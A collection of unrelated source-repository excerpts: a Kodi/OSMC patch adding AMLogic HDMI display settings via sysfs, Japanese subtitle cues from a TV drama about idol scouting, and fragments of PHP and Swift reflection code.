*/ public function setVariablesToSkip($branchNumber, $variablesToSkip) { $this->variablesToSkip[$branchNumber] = $variablesToSkip; } }
{ "pile_set_name": "Github" }
From fb226539fafde4749da88bb988f6f866c4f10029 Mon Sep 17 00:00:00 2001 From: Sam Nazarko <email@samnazarko.co.uk> Date: Sat, 13 Apr 2019 20:43:16 +0100 Subject: [PATCH] Add AMLogic specific display and audio settings Signed-off-by: Sam Nazarko <email@samnazarko.co.uk> --- .../resource.language.en_gb/resources/strings.po | 41 ++++++++++++++++++++++ system/settings/settings.xml | 35 ++++++++++++++++++ xbmc/settings/DisplaySettings.cpp | 37 +++++++++++++++++++ xbmc/settings/Settings.cpp | 8 ++++- xbmc/settings/Settings.h | 5 +++ xbmc/windowing/amlogic/WinSystemAmlogic.cpp | 41 ++++++++++++++++++++++ 6 files changed, 166 insertions(+), 1 deletion(-) mode change 100644 => 100755 xbmc/settings/DisplaySettings.cpp mode change 100644 => 100755 xbmc/windowing/amlogic/WinSystemAmlogic.cpp diff --git a/addons/resource.language.en_gb/resources/strings.po b/addons/resource.language.en_gb/resources/strings.po index 1e81362..c6a6d5d 100644 --- a/addons/resource.language.en_gb/resources/strings.po +++ b/addons/resource.language.en_gb/resources/strings.po @@ -6273,6 +6273,26 @@ msgctxt "#13132" msgid "Blank displays" msgstr "" +#: unknown +msgctxt "#13133" +msgid "Force RGB output" +msgstr "" + +#: unknown +msgctxt "#13134" +msgid "Lock HDMI HPD" +msgstr "" + +#: unknown +msgctxt "#13135" +msgid "Mute HDMI audio output" +msgstr "" + +#: unknown +msgctxt "#13136" +msgid "Force 422 colour subsampling" +msgstr "" + #empty strings from id 13133 to 13139 #: xbmc/network/NetworkServices.cpp @@ -21638,3 +21658,24 @@ msgstr "" msgctxt "#39116" msgid "Episode plot" msgstr "" + +#: Description of display setting with label # 13133 +msgctxt "#39117" +msgid "Enable this to force RGB output for some legacy TVs such as Philips 2009 era TVs. Fixes blue / green screen flashes. Requires reboot." +msgstr "" + +#: Description of display setting with label # 13134 +msgctxt "#39118" +msgid "Disables HPD events. Can fix sound issues. Requires reboot." +msgstr "" + +#: Description of display setting with label # 13135 +msgctxt "#39119" +msgid "Turns off HDMI audio. Useful if you're using SPDIF audio and don't want audio on HDMI." +msgstr "" + +#: Description of display setting with label # 13136 +msgctxt "#39120" +msgid "Some displays (usually LG) work better with 4:2:2 colour subsampling, especially at 4K resolutions." +msgstr "" + diff --git a/system/settings/settings.xml b/system/settings/settings.xml index 9ddc882..418952b 100755 --- a/system/settings/settings.xml +++ b/system/settings/settings.xml @@ -2170,6 +2170,26 @@ </dependencies> <control type="toggle" /> </setting> + <setting id="videoscreen.forcergb" type="boolean" parent="videoscreen.screen" label="13133" help="39117"> + <level>1</level> + <default>false</default> + <control type="toggle" /> + </setting> + <setting id="videoscreen.lockhpd" type="boolean" parent="videoscreen.screen" label="13134" help="39118"> + <level>1</level> + <default>false</default> + <control type="toggle" /> + </setting> + <setting id="videoscreen.mutehdmi" type="boolean" parent="videoscreen.screen" label="13135" help="39119"> + <level>1</level> + <default>false</default> + <control type="toggle" /> + </setting> + <setting id="videoscreen.force422" type="boolean" parent="videoscreen.screen" label="13136" help="39120"> + <level>1</level> + <default>false</default> + <control type="toggle" /> + </setting> <setting id="videoscreen.delayrefreshchange" type="integer" parent="videoscreen.screen" label="13550" help="36165"> <level>2</level> <default>0</default> @@ -2178,6 +2198,21 @@ </constraints> <control type="spinner" format="string" /> </setting> + <setting id="videoscreen.limitedrangeaml" type="boolean" label="36042" help="36359"> + <requirement> + <or> + <condition>HAS_GL</condition> + <condition>HAS_DX</condition> + <condition>true</condition> + </or> + </requirement> + <level>3</level> + <default>true</default> + <updates> + <update type="rename">videoplayer.vdpaustudiolevel</update> + </updates> + <control type="toggle" /> + </setting> <setting id="videoscreen.dither" type="boolean" label="36099" help="36598"> <requirement> <or> diff --git a/xbmc/settings/DisplaySettings.cpp b/xbmc/settings/DisplaySettings.cpp old mode 100644 new mode 100755 index e808eaa..9f94a19 --- a/xbmc/settings/DisplaySettings.cpp +++ b/xbmc/settings/DisplaySettings.cpp @@ -31,6 +31,7 @@ #include "threads/SingleLock.h" #include "utils/log.h" #include "utils/StringUtils.h" +#include "utils/SysfsUtils.h" #include "utils/Variant.h" #include "utils/XMLUtils.h" #include "rendering/RenderSystem.h" @@ -329,6 +330,42 @@ bool CDisplaySettings::OnSettingChanging(std::shared_ptr<const CSetting> setting return true; } + else if (settingId == CSettings::SETTING_VIDEOSCREEN_FORCE422){ + std::string attr = ""; + SysfsUtils::GetString("/sys/class/amhdmitx/amhdmitx0/attr", attr); + + if (CServiceBroker::GetSettingsComponent()->GetSettings()->GetBool(CSettings::SETTING_VIDEOSCREEN_FORCE422)) { + if (attr.find("444") != std::string::npos || + attr.find("422") != std::string::npos || + attr.find("420") != std::string::npos) + attr.replace(attr.find("4"),3,"422").append("now"); + else + attr.append("422now"); + } + else { + if (attr.find("422") != std::string::npos) + attr.erase(attr.find("4"),3); + attr.append("now"); + } + CLog::Log(LOGDEBUG, "CDisplaySettings::OnSettingChanging -- setting 422 output, attr = %s", attr.c_str()); + SysfsUtils::SetString("/sys/class/amhdmitx/amhdmitx0/attr", attr.c_str()); + } + else if (settingId == CSettings::SETTING_VIDEOSCREEN_LIMITEDRANGEAML) + { + int range_control; + std::string attr = ""; + + SysfsUtils::GetInt("/sys/module/am_vecm/parameters/range_control", range_control); + if (CServiceBroker::GetSettingsComponent()->GetSettings()->GetBool(CSettings::SETTING_VIDEOSCREEN_LIMITEDRANGEAML)) + range_control &= 1; + else + range_control |= 2; + CLog::Log(LOGDEBUG, "CDisplaySettings::OnSettingChanging -- setting quantization range to %s", range_control & 2 ? "full" : "limited"); + SysfsUtils::SetInt("/sys/module/am_vecm/parameters/range_control", range_control); + SysfsUtils::GetString("/sys/class/amhdmitx/amhdmitx0/attr", attr); + attr.append("now"); + SysfsUtils::SetString("/sys/class/amhdmitx/amhdmitx0/attr", attr.c_str()); + } #if defined(HAVE_X11) || defined(TARGET_WINDOWS_DESKTOP) else if (settingId == CSettings::SETTING_VIDEOSCREEN_BLANKDISPLAYS) { diff --git a/xbmc/settings/Settings.cpp b/xbmc/settings/Settings.cpp index 3360e1c..0d23b8f 100644 --- a/xbmc/settings/Settings.cpp +++ b/xbmc/settings/Settings.cpp @@ -333,6 +333,10 @@ const std::string CSettings::SETTING_VIDEOSCREEN_RESOLUTION = "videoscreen.resol const std::string CSettings::SETTING_VIDEOSCREEN_SCREENMODE = "videoscreen.screenmode"; const std::string CSettings::SETTING_VIDEOSCREEN_FAKEFULLSCREEN = "videoscreen.fakefullscreen"; const std::string CSettings::SETTING_VIDEOSCREEN_BLANKDISPLAYS = "videoscreen.blankdisplays"; +const std::string CSettings::SETTING_VIDEOSCREEN_FORCERGB = "videoscreen.forcergb"; +const std::string CSettings::SETTING_VIDEOSCREEN_LOCKHPD = "videoscreen.lockhpd"; +const std::string CSettings::SETTING_VIDEOSCREEN_MUTEHDMI = "videoscreen.mutehdmi"; +const std::string CSettings::SETTING_VIDEOSCREEN_FORCE422 = "videoscreen.force422"; const std::string CSettings::SETTING_VIDEOSCREEN_STEREOSCOPICMODE = "videoscreen.stereoscopicmode"; const std::string CSettings::SETTING_VIDEOSCREEN_PREFEREDSTEREOSCOPICMODE = "videoscreen.preferedstereoscopicmode"; const std::string CSettings::SETTING_VIDEOSCREEN_NOOFBUFFERS = "videoscreen.noofbuffers"; @@ -340,7 +344,7 @@ const std::string CSettings::SETTING_VIDEOSCREEN_3DLUT = "videoscreen.cms3dlut"; const std::string CSettings::SETTING_VIDEOSCREEN_DISPLAYPROFILE = "videoscreen.displayprofile"; const std::string CSettings::SETTING_VIDEOSCREEN_GUICALIBRATION = "videoscreen.guicalibration"; const std::string CSettings::SETTING_VIDEOSCREEN_TESTPATTERN = "videoscreen.testpattern"; -const std::string CSettings::SETTING_VIDEOSCREEN_LIMITEDRANGE = "videoscreen.limitedrange"; +const std::string CSettings::SETTING_VIDEOSCREEN_LIMITEDRANGEAML = "videoscreen.limitedrangeaml"; const std::string CSettings::SETTING_VIDEOSCREEN_FRAMEPACKING = "videoscreen.framepacking"; const std::string CSettings::SETTING_AUDIOOUTPUT_AUDIODEVICE = "audiooutput.audiodevice"; const std::string CSettings::SETTING_AUDIOOUTPUT_CHANNELS = "audiooutput.channels"; @@ -854,6 +858,8 @@ void CSettings::InitializeISettingCallbacks() settingSet.insert(CSettings::SETTING_VIDEOSCREEN_SCREEN); settingSet.insert(CSettings::SETTING_VIDEOSCREEN_RESOLUTION); settingSet.insert(CSettings::SETTING_VIDEOSCREEN_SCREENMODE); + settingSet.insert(CSettings::SETTING_VIDEOSCREEN_FORCE422); + settingSet.insert(CSettings::SETTING_VIDEOSCREEN_LIMITEDRANGEAML); settingSet.insert(CSettings::SETTING_VIDEOSCREEN_MONITOR); settingSet.insert(CSettings::SETTING_VIDEOSCREEN_PREFEREDSTEREOSCOPICMODE); settingSet.insert(CSettings::SETTING_VIDEOSCREEN_3DLUT); diff --git a/xbmc/settings/Settings.h b/xbmc/settings/Settings.h index d0743b3..d33dc4c 100644 --- a/xbmc/settings/Settings.h +++ b/xbmc/settings/Settings.h @@ -291,6 +291,10 @@ public: static const std::string SETTING_VIDEOSCREEN_SCREENMODE; static const std::string SETTING_VIDEOSCREEN_FAKEFULLSCREEN; static const std::string SETTING_VIDEOSCREEN_BLANKDISPLAYS; + static const std::string SETTING_VIDEOSCREEN_FORCERGB; + static const std::string SETTING_VIDEOSCREEN_LOCKHPD; + static const std::string SETTING_VIDEOSCREEN_MUTEHDMI; + static const std::string SETTING_VIDEOSCREEN_FORCE422; static const std::string SETTING_VIDEOSCREEN_STEREOSCOPICMODE; static const std::string SETTING_VIDEOSCREEN_PREFEREDSTEREOSCOPICMODE; static const std::string SETTING_VIDEOSCREEN_NOOFBUFFERS; @@ -299,6 +303,7 @@ public: static const std::string SETTING_VIDEOSCREEN_GUICALIBRATION; static const std::string SETTING_VIDEOSCREEN_TESTPATTERN; static const std::string SETTING_VIDEOSCREEN_LIMITEDRANGE; + static const std::string SETTING_VIDEOSCREEN_LIMITEDRANGEAML; static const std::string SETTING_VIDEOSCREEN_FRAMEPACKING; static const std::string SETTING_AUDIOOUTPUT_AUDIODEVICE; static const std::string SETTING_AUDIOOUTPUT_CHANNELS; diff --git a/xbmc/windowing/amlogic/WinSystemAmlogic.cpp b/xbmc/windowing/amlogic/WinSystemAmlogic.cpp old mode 100644 new mode 100755 index 0637f83..e4dddce --- a/xbmc/windowing/amlogic/WinSystemAmlogic.cpp +++ b/xbmc/windowing/amlogic/WinSystemAmlogic.cpp @@ -64,6 +64,47 @@ CWinSystemAmlogic::CWinSystemAmlogic() : aml_permissions(); aml_disable_freeScale(); + /* Take in to account custom OSMC parameters */ + if (CServiceBroker::GetSettingsComponent()->GetSettings()->GetBool(CSettings::SETTING_VIDEOSCREEN_FORCERGB)) { + CLog::Log(LOGDEBUG, "CEGLNativeTypeAmlogic::Initialize -- forcing RGB"); + SysfsUtils::SetString("/sys/class/amhdmitx/amhdmitx0/output_rgb", "1"); + } + + int range_control; + SysfsUtils::GetInt("/sys/module/am_vecm/parameters/range_control", range_control); + if (CServiceBroker::GetSettingsComponent()->GetSettings()->GetBool(CSettings::SETTING_VIDEOSCREEN_LIMITEDRANGEAML)) + range_control &= 1; + else + range_control |= 2; + CLog::Log(LOGDEBUG, "CEGLNativeTypeAmlogic::Initialize -- setting quantization range to %s", + range_control & 2 ? "full" : "limited"); + SysfsUtils::SetInt("/sys/module/am_vecm/parameters/range_control", range_control); + + if (CServiceBroker::GetSettingsComponent()->GetSettings()->GetBool(CSettings::SETTING_VIDEOSCREEN_LOCKHPD)) { + CLog::Log(LOGDEBUG, "CEGLNativeTypeAmlogic::Initialize -- forcing HPD to be locked"); + SysfsUtils::SetString("/sys/class/amhdmitx/amhdmitx0/debug", "hpd_lock1"); + } + + std::string attr = ""; + SysfsUtils::GetString("/sys/class/amhdmitx/amhdmitx0/attr", attr); + + if (CServiceBroker::GetSettingsComponent()->GetSettings()->GetBool(CSettings::SETTING_VIDEOSCREEN_FORCE422)) { + if (attr.find("444") != std::string::npos || + attr.find("422") != std::string::npos || + attr.find("420") != std::string::npos) + attr.replace(attr.find("4"),3,"422").append("now"); + else + attr.append("422now"); + } + else { + if (attr.find("422") != std::string::npos) + attr.erase(attr.find("4"),3); + attr.append("now"); + } + CLog::Log(LOGDEBUG, "CEGLNativeTypeAmlogic::Initialize -- setting 422 output, attr = %s", attr.c_str()); + SysfsUtils::SetString("/sys/class/amhdmitx/amhdmitx0/attr", attr.c_str()); + + // Register sink AE::CAESinkFactory::ClearSinks(); CAESinkALSA::Register(); -- 2.7.4
{ "pile_set_name": "Github" }
1 00:00:34,706 --> 00:00:39,706 ♬~(テーマ音楽) 2 00:01:51,182 --> 00:01:56,404 (夏)<その夜 スナック 梨明日は 不穏な空気に包まれていました> 3 00:01:56,404 --> 00:01:58,857 (勉)初めて見ました。 4 00:01:58,857 --> 00:02:04,496 <ついに ミズタクこと 水口琢磨の 正体が明らかになったのです> 5 00:02:04,496 --> 00:02:08,800 (春子)だから ハートフルっていうのは 東京の芸能事務所なの。 6 00:02:08,800 --> 00:02:12,637 そこの名刺 持ってるって事は 業界人って事でしょ? 7 00:02:12,637 --> 00:02:16,057 (美寿々)じぇじぇ! 8 00:02:16,057 --> 00:02:18,960 今すぐ 出ていけ! 9 00:02:18,960 --> 00:02:20,996 (ヒロシ)え? (菅原)何 何? アキちゃんが➡ 10 00:02:20,996 --> 00:02:23,665 これを持ってたって事は? 当然ユイちゃんも➡ 11 00:02:23,665 --> 00:02:26,768 スカウトされてるでしょうね。 (一同)じぇじぇ! 12 00:02:26,768 --> 00:02:31,206 (ユイ)運転中かな。 13 00:02:31,206 --> 00:02:33,291 (大吉)ちょっと ちょっと! 今 ユイちゃんに いなくなられたら➡ 14 00:02:33,291 --> 00:02:36,061 北鉄は どうなるんだよ! この夏が勝負だってのに➡ 15 00:02:36,061 --> 00:02:40,061 アキちゃんまで… チクショー 何 考えてんだ 水口の野郎! 16 00:02:42,684 --> 00:02:45,920 (アキ)あ! そうだ。 何? 17 00:02:45,920 --> 00:02:48,740 サイン書いてけろ。 サイン? 18 00:02:48,740 --> 00:02:51,526 有名になってからじゃ なかなか もらえねえべ。 19 00:02:51,526 --> 00:02:54,426 「海女カフェさんへ」って 書いてけろ。 20 00:02:59,334 --> 00:03:03,888 ユイちゃん おらなんかと 友達になってくれて➡ 21 00:03:03,888 --> 00:03:08,910 どうもありがとう。 何それ? やめてよ。 22 00:03:08,910 --> 00:03:11,896 だって ホントにそう思うがら。 23 00:03:11,896 --> 00:03:14,933 おらみでえに 自分勝手で やかましい女➡ 24 00:03:14,933 --> 00:03:18,737 面倒くせえべ。 25 00:03:18,737 --> 00:03:21,022 あ 「まめぶ おいしかったよ」って 書いてけろ。 26 00:03:21,022 --> 00:03:24,922 食べてないけど。 いいがら 食ったつもりで。 27 00:03:29,464 --> 00:03:35,970 こちらこそ 仲良くしてくれて ありがとうね。 28 00:03:35,970 --> 00:03:37,989 いやいや。 29 00:03:37,989 --> 00:03:41,292 だってさ ネット上では ライバルだった訳じゃん。 30 00:03:41,292 --> 00:03:45,930 しかも男取られて。 アキちゃんが 心広くなかったら➡ 31 00:03:45,930 --> 00:03:48,199 私 2~3発殴られてるわ。 32 00:03:48,199 --> 00:03:53,304 男取られた? あ 男取られた! 33 00:03:53,304 --> 00:03:57,042 まあ 実際 種市先輩と つきあうかどうか 微妙だけど。 34 00:03:57,042 --> 00:04:01,112 アメ女は 恋愛禁止だし。 何? それ。 35 00:04:01,112 --> 00:04:03,431 [ 回想 ] (荒巻) だって想像してみて下さい。 36 00:04:03,431 --> 00:04:06,501 特定の交際相手がいる アイドルの➡ 37 00:04:06,501 --> 00:04:11,523 CDやグッズに お金を払う気になりますか? 38 00:04:11,523 --> 00:04:17,128 10万人100万人の ファン一人一人と 真剣交際をする。➡ 39 00:04:17,128 --> 00:04:19,864 それがアイドルです。 40 00:04:19,864 --> 00:04:22,200 ま バレなきゃいいんですけどね。 フフ! 41 00:04:22,200 --> 00:04:26,871 だから 表向きは 恋愛しちゃいけないの。 42 00:04:26,871 --> 00:04:30,992 へえ~ 何か大変だな。 43 00:04:30,992 --> 00:04:34,062 でも 子どもの頃からの 夢だったからね。 44 00:04:34,062 --> 00:04:37,165 アイドルになるのが? 45 00:04:37,165 --> 00:04:42,654 幼稚園の頃とかさ 大きくなったら 何になりたいって聞かれて➡ 46 00:04:42,654 --> 00:04:47,459 保母さんとか お花屋さんとかって 答える子がいたじゃない? 47 00:04:47,459 --> 00:04:51,062 嘘つけって 思ってた。 48 00:04:51,062 --> 00:04:54,966 そう答えれば みんな 親が安心して ニッコリ笑うの➡ 49 00:04:54,966 --> 00:04:57,385 本能的に知ってんだよ。 50 00:04:57,385 --> 00:04:59,437 だから 私は 絶対違う事➡ 51 00:04:59,437 --> 00:05:01,456 言ってやろうと思って。 52 00:05:01,456 --> 00:05:03,625 何になりたかったの? 53 00:05:03,625 --> 00:05:06,661 キャメロン・ディアス。 54 00:05:06,661 --> 00:05:09,030 …ていうか チャーリーズ・エンジェル? 55 00:05:09,030 --> 00:05:12,267 ああいう 目まぐるしい女に 憧れてた。 56 00:05:12,267 --> 00:05:16,704 あと「バイオハザード」とか「トゥームレイダー」とか 「キャットウーマン」とかを経て➡ 57 00:05:16,704 --> 00:05:20,341 中2の頃「アイドルになりたい」って 言ったら➡ 58 00:05:20,341 --> 00:05:25,997 やっとお母さん ニッコリ笑ったの。 そりゃそうだ。 59 00:05:25,997 --> 00:05:29,067 両親は 基本的には 応援してくれたけど➡ 60 00:05:29,067 --> 00:05:34,272 でも 潮時かなって。 61 00:05:34,272 --> 00:05:38,092 ネットアイドルとか お座敷列車とか➡ 62 00:05:38,092 --> 00:05:40,945 地方局のリポーターとか➡ 63 00:05:40,945 --> 00:05:43,264 こっちで できる事は 一とおりやったし。 64 00:05:43,264 --> 00:05:45,967 うん。 65 00:05:45,967 --> 00:05:53,091 わざわざ 会いに来てくれる人が いるって事は➡ 66 00:05:53,091 --> 00:05:56,728 ちょっとは 自信持って いいんじゃないかなって思うの。 67 00:05:56,728 --> 00:05:59,597 うん。 68 00:05:59,597 --> 00:06:04,035 そういう期待に 応えたいって思うの。 69 00:06:04,035 --> 00:06:07,071 間違ってる? ううん。 70 00:06:07,071 --> 00:06:10,225 ユイちゃんは そうするべきだよ。 71 00:06:10,225 --> 00:06:12,377 表舞台に立つ人だ。 72 00:06:12,377 --> 00:06:18,499 初めて会った時も 去年の秋祭りの時も そう思った。 73 00:06:18,499 --> 00:06:21,669 ああ… あれはあれで 複雑だったけど。 74 00:06:21,669 --> 00:06:25,707 いや あれがユイちゃんだべ! 75 00:06:25,707 --> 00:06:29,110 あの でっけえ山車の てっぺんに乗っても動じない。 76 00:06:29,110 --> 00:06:31,129 堂々としてる。 77 00:06:31,129 --> 00:06:36,167 あれこそが ユイちゃんの本来の姿だ。 78 00:06:36,167 --> 00:06:39,137 アキちゃんは? え? 79 00:06:39,137 --> 00:06:44,192 アキちゃんの 本来の姿は? 80 00:06:44,192 --> 00:06:47,892 お… おらは…。 81 00:06:53,234 --> 00:07:01,459 [TEL] 82 00:07:01,459 --> 00:07:05,330 出なくていいの? うん 水口さんじゃないから。 83 00:07:05,330 --> 00:07:07,498 誰? お兄ちゃん。 84 00:07:07,498 --> 00:07:11,219 [TEL] 85 00:07:11,219 --> 00:07:13,338 出ないの? 86 00:07:13,338 --> 00:07:17,342 [TEL] 87 00:07:17,342 --> 00:07:21,042 もしかして 黙って出てきたのか? 88 00:07:24,065 --> 00:07:29,087 [外:96C11F40C7B03CCB0E52B11FCC139632] 89 00:07:29,087 --> 00:07:32,457 ストーブさんから。 出ないで。 90 00:07:32,457 --> 00:07:34,792 2人とも出ないと 怪しくない? 91 00:07:34,792 --> 00:07:37,128 [外:96C11F40C7B03CCB0E52B11FCC139632] 92 00:07:37,128 --> 00:07:43,501 もしもし はい 今? 家ですけど。 93 00:07:43,501 --> 00:07:46,704 ユイちゃん? 94 00:07:46,704 --> 00:07:49,157 一緒じゃないですよ。 95 00:07:49,157 --> 00:07:52,694 え? じぇじぇ! 家出? 96 00:07:52,694 --> 00:07:55,663 (ヒロシ)そうなんだ。 連絡つかないんだ。 97 00:07:55,663 --> 00:08:00,001 明日 東京で オーディションが あるっていう話は 聞いてない? 98 00:08:00,001 --> 00:08:02,270 あ そう。 (春子)ちょっと 代わって。 99 00:08:02,270 --> 00:08:05,657 もしもし アキ? あんたさ 水口って男に 何かされた? 100 00:08:05,657 --> 00:08:08,159 何か? 101 00:08:08,159 --> 00:08:11,262 正直に答えて。 怒んないから。 102 00:08:11,262 --> 00:08:16,034 うん 言いなさいよ。 何されたの こら! 103 00:08:16,034 --> 00:08:18,469 [外:96C11F40C7B03CCB0E52B11FCC139632](大吉)「こら」って? (ヒロシ)落ち着いて 春子さん! 104 00:08:18,469 --> 00:08:23,474 いい? 芸能界とか アイドルとか チャラチャラしたの➡ 105 00:08:23,474 --> 00:08:25,743 ママ 絶対許さないからね。 106 00:08:25,743 --> 00:08:28,363 [外:96C11F40C7B03CCB0E52B11FCC139632] 返事は! 107 00:08:28,363 --> 00:08:30,765 聞こえない! 108 00:08:30,765 --> 00:08:37,655 あ あ~! あい。 109 00:08:37,655 --> 00:08:40,758 あと ユイちゃんから 連絡あったら➡ 110 00:08:40,758 --> 00:08:43,628 ヒロシ君かママに すぐに電話して! 111 00:08:43,628 --> 00:08:46,264 分かってんの? 返事は! 112 00:08:46,264 --> 00:08:49,867 あい。 113 00:08:49,867 --> 00:08:54,522 …ていうか いつまで起きてんの? とっとと寝なさいよ! バカ! 114 00:08:54,522 --> 00:08:58,493 大丈夫? 115 00:08:58,493 --> 00:09:00,795 やばい。 116 00:09:00,795 --> 00:09:05,600 アキちゃん! アキちゃん! 117 00:09:05,600 --> 00:09:10,204 ちょっと 待ってて! 必ず戻ってくるから。 118 00:09:10,204 --> 00:09:12,390 電気消すね! 119 00:09:12,390 --> 00:09:17,929 ♬~ 120 00:09:17,929 --> 00:09:21,566 アキちゃんと 一緒じゃねえと もう分かんねえな。 121 00:09:21,566 --> 00:09:25,970 一緒じゃないって なぜ言い切れる? え? 122 00:09:25,970 --> 00:09:29,690 うちにいるって そう言ったのね あの子。 123 00:09:29,690 --> 00:09:32,326 はい。 124 00:09:32,326 --> 00:09:37,765 確かめてみましょうよ。 (吉田)怖え。 125 00:09:37,765 --> 00:09:40,701 ≪ ☎ 126 00:09:40,701 --> 00:09:45,656 ☎ 127 00:09:45,656 --> 00:09:48,109 もしもし! 128 00:09:48,109 --> 00:09:50,161 アキ? あ? 129 00:09:50,161 --> 00:09:55,650 誰だ? こんな時間に。 12時過ぎたぞ。 130 00:09:55,650 --> 00:09:59,821 何? ママ もう眠いんだけど。 131 00:09:59,821 --> 00:10:03,591 だったら 寝てればいいじゃないの! 132 00:10:03,591 --> 00:10:08,891 何 電話なんか出なくていいのよ バカ! おやすみ。 133 00:10:12,767 --> 00:10:18,639 はあ~! ≪(犬のほえる声) 134 00:10:18,639 --> 00:10:22,710 ≪(功)こんばんは! ごめんください! 135 00:10:22,710 --> 00:10:25,029 ≪(犬のほえる声) 136 00:10:25,029 --> 00:10:27,331 (功)あ! 誰だ? 夜分遅くにすいません! 137 00:10:27,331 --> 00:10:31,702 畑野の足立ですが。 あらら? 先生! 138 00:10:31,702 --> 00:10:34,188 どうしました? 139 00:10:34,188 --> 00:10:36,388 じぇじぇじぇ! 140 00:10:41,095 --> 00:10:45,733 家出? 全く お恥ずかしい。 141 00:10:45,733 --> 00:10:49,337 (よしえ)てっきり アキちゃんと 一緒だと思ったんですけど。 142 00:10:49,337 --> 00:10:52,573 いや 今日は来てねえですが。 なあ アキ。 143 00:10:52,573 --> 00:10:58,273 困ったわ。 ほかに行きそうな所も 思いつかないし。 144 00:11:00,465 --> 00:11:05,265 (功)ああ とりあえず ヒロシには 連絡入れておこう。 145 00:11:07,405 --> 00:11:10,441 (功)アキちゃん それ? え? 146 00:11:10,441 --> 00:11:14,241 あ それ メール 打てないと思うよ。 147 00:11:17,231 --> 00:11:21,431 (笑い声) 148 00:11:23,671 --> 00:11:28,376 うん あ そう。 分かった。 149 00:11:28,376 --> 00:11:31,746 じゃ また連絡する。 うん はい。 150 00:11:31,746 --> 00:11:34,532 はいはい。 151 00:11:34,532 --> 00:11:37,502 母からでした。 アキちゃんちに お邪魔してるって。 152 00:11:37,502 --> 00:11:40,738 あ そう。 (ドアが開く音) 153 00:11:40,738 --> 00:11:43,658 連絡取れた? いや そっちは? 154 00:11:43,658 --> 00:11:46,260 国道沿いの ファミレスとコンビニで 聞いてきたけど➡ 155 00:11:46,260 --> 00:11:48,296 誰も見てないって。 156 00:11:48,296 --> 00:11:51,299 もう 東京さ行ったのかも しれませんね。 157 00:11:51,299 --> 00:11:55,369 吉田君 そんな縁起でもねえ事 言わねえで! 158 00:11:55,369 --> 00:11:58,706 んだ。 仮にもユイちゃんは ミス北鉄だぞ! 159 00:11:58,706 --> 00:12:02,777 万が一 故郷を捨てるとしても 北鉄さ乗って 行くはずだ。 160 00:12:02,777 --> 00:12:05,796 んだ。 いや~! 161 00:12:05,796 --> 00:12:08,299 勉さん。 あ? 162 00:12:08,299 --> 00:12:13,170 皆さん うちの弟子が 大変 お騒がせしました。 163 00:12:13,170 --> 00:12:15,456 うん まだ騒ぎ 収まってないけど。 164 00:12:15,456 --> 00:12:17,792 問い詰めたら 白状しました。 やはり ユイちゃんと➡ 165 00:12:17,792 --> 00:12:21,028 アキちゃんをスカウトするために 派遣されたそうです。 166 00:12:21,028 --> 00:12:27,985 琥珀… 琥珀には これっぽっちも 興味がねえと。 167 00:12:27,985 --> 00:12:32,607 考古学を研究してたっつうのも 真っ赤な嘘だと。 168 00:12:32,607 --> 00:12:35,026 泣かないで 勉さん 一つも悪くないから。 169 00:12:35,026 --> 00:12:38,396 いやいや! 何もかも おら まいた種だ。 170 00:12:38,396 --> 00:12:42,600 もう金輪際 この店には来ません。 勉さん! 171 00:12:42,600 --> 00:12:44,619 そういう話じゃないでしょう。 172 00:12:44,619 --> 00:12:48,222 大好きな皆さんに これ以上 迷惑かけられねえ。 173 00:12:48,222 --> 00:12:51,042 水口もアパートを引き払い➡ 174 00:12:51,042 --> 00:12:54,128 今晩中に車で 東京さ帰るそうです。 175 00:12:54,128 --> 00:12:59,900 おらも明日からは 穴さ籠もって 琥珀だけを。 (一同)じぇ! 176 00:12:59,900 --> 00:13:03,437 俗世間に交わる事なく 琥珀を愛し➡ 177 00:13:03,437 --> 00:13:06,424 琥珀と向き合い。 勉さん おい 勉さん! 178 00:13:06,424 --> 00:13:08,559 はい。 今 何つったよ? 179 00:13:08,559 --> 00:13:11,796 琥珀を愛し琥珀と向き合い…。 違う! 180 00:13:11,796 --> 00:13:13,898 あんたじゃなくて水口! ああ! 181 00:13:13,898 --> 00:13:17,735 水口君は これっぽっちも 琥珀に興味がねえ。 182 00:13:17,735 --> 00:13:20,054 わざとか! わざとやってんのか じじい! 183 00:13:20,054 --> 00:13:23,124 水口さん 車で東京帰るんですね? 今夜。 184 00:13:23,124 --> 00:13:26,761 はい。 そう言ってました。 185 00:13:26,761 --> 00:13:31,132 モータリゼーションめ! 先輩 どうするべ? 186 00:13:31,132 --> 00:13:34,101 封鎖だ 国道45号線 封鎖だ! 187 00:13:34,101 --> 00:13:36,420 よし! 組合長に連絡! 188 00:13:36,420 --> 00:14:01,762 ♬~ 189 00:14:01,762 --> 00:14:05,499 (水口)ごめん 遅れて。 190 00:14:05,499 --> 00:14:10,104 大丈夫ですか? あ…。 191 00:14:10,104 --> 00:14:12,139 ちょっと いろいろ。➡ 192 00:14:12,139 --> 00:14:14,892 じゃ 行こうか。 193 00:14:14,892 --> 00:14:20,598 ♬~ 194 00:14:20,598 --> 00:14:22,633 (サイレン) 195 00:14:22,633 --> 00:14:26,704 (スピーカー・長内) 「国道45号線 封鎖します!」。 何だ 何だ? 196 00:14:26,704 --> 00:14:31,375 (スピーカー・長内) 「国道45号線 封鎖します。 繰り返します!」。 197 00:14:31,375 --> 00:14:34,862 何だ? この騒ぎ! (スピーカー・長内)「国道45号線➡ 198 00:14:34,862 --> 00:14:37,164 封鎖しま~す!」。 大変だ 大変だ! 199 00:14:37,164 --> 00:14:40,134 やばい 一旦戻ろう。 200 00:14:40,134 --> 00:14:43,571 ≪(長内)中に誰かいる! 201 00:14:43,571 --> 00:14:46,090 誰だ? こら! 202 00:14:46,090 --> 00:14:48,659 こら! 203 00:14:48,659 --> 00:15:00,759 ♬~ 204 00:15:43,547 --> 00:15:45,566 >>梅雨なのに。 205 00:15:45,566 --> 00:15:47,568 >>じぇじぇ、かき氷。 206 00:15:47,568 --> 00:15:49,570 >>そしてアイスクリーム。
{ "pile_set_name": "Github" }
extension AnyExtensions { mutating func mutableStorage() -> UnsafeMutableRawPointer { return Reflection.mutableStorage(instance: &self) } mutating func storage() -> UnsafeRawPointer { return Reflection.storage(instance: &self) } } func mutableStorage<T>(instance: inout T) -> UnsafeMutableRawPointer { return mutableStorage(instance: &instance, type: type(of: instance)) } func mutableStorage<T>(instance: inout T, type: Any.Type) -> UnsafeMutableRawPointer { return UnsafeMutableRawPointer(mutating: storage(instance: &instance, type: type)) } func storage<T>(instance: inout T) -> UnsafeRawPointer { return storage(instance: &instance, type: type(of: instance)) } func storage<T>(instance: inout T, type: Any.Type) -> UnsafeRawPointer { return withUnsafePointer(to: &instance) { pointer in if type is AnyClass { return UnsafeRawPointer(bitPattern: 